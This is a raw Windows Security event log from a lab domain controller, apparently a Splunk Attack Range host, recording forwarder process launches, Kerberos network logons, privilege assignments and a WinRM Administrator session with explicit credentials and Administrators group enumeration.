	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257432
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x858
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257434
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257441
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x500A08
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		50932

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257440
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x500A08

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:32:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257439
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x5009BF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257438
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5009BF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:32:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257437
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x500890
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50931

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257436
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x500890

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:32:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257435
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257448
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257447
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf4c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257446
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x500890

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:32:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257445
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5009BF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:32:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257444
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x500A08

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:32:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257443
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x500A79
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50933

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257442
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x500A79

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:32:23 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257449
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x500A79

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:32:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257459
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x50245D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7dc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257458
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x50245D

Process Information:
	New Process ID:		0x133c
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257457
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a0
	New Process Name:	C:\Windows\System32\dllhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257456
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5d8
	Process Name:		C:\Windows\System32\svchost.exe
03/12/2021 02:32:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257455
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x541A8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:32:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257454
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x50245D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:32:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257453
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x50245D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E434B07B-F93F-4B18-C004-AB2738D896EE}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257452
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E434B07B-F93F-4B18-C004-AB2738D896EE}

